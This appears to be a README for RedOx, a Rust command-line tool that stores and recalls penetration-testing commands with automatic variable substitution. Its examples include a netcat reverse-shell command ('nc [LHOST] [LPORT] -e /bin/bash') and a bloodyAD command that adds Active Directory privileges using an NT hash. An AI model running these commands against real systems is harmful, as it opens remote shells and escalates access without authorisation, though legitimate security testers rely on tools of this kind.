This is a tool I wrote in Rust that is an updated CLI version of the python tool RTFM. It’s rough and a work in progress but I have found it useful and I use it often. I wanted to learn Rust and this is the project I decided on. If you want something similar to this that is really nice, check out Arsenal. It is a more feature rich and better executed version of this same concept. I imagine they spent more than two weeks on that. However, RedOx is lighter, easier to use, and easier to extend as far as adding additional content via the CLI.

list of current commands

Ctrl+r           Enter quick search mode to dynamically find commands as you type.
Ctrl+c           Copy currently selected command to clipboard.
Ctrl+u           URL-encode and then copy currently selected command to clipboard.
Crtl+h or hist   Display selectable history of already selected commands.
Ctrl+v           Paste from clipboard
info             Display info on the currently selected command.
env              Show user variables that have already been set.
add -c           Add a command to the database e.g. 'add -c nc [LHOST] [LPORT] -e /bin/bash'
update           Update a database column in the selected command
                 e.g. comment, command, author or references
                 Example: update references http://blog.gregscharf.com
Esc              Exit current mode.
help             Display help
Ctrl+q or exit   Exit redOx.

Some features and reasons to even use this

  • It’s like having a terminal history for commands that are often run remotely, and are therefore not in your terminal history.
  • Or maybe you’re on a new machine and the command you want to run isn’t in your terminal history yet. It comes in handy for things like: bloodyAD --host "[RHOST]" -d "[DOMAIN]" -u "[USER]" -p "[NTHASH]:[NTHASH]" add [PRIVILEGE] "[TARGETOBJECT]" "[SOURCEOBJECT]". If you’ve been working on something for awhile most of those variables in the square brackets will have already been set in the CLI, so you would not need to type them again because of the automatic variable replacement.
  • As noted above, automatic variable replacement for any new commands you run. Each command has a number of variables in common.
  • Easily add and modify the database from the CLI.
  • For any command selected there are links to online resources. These can also be added and updated via the CLI.

Below is an example of using it in a lab exercise. RTFM-RedOx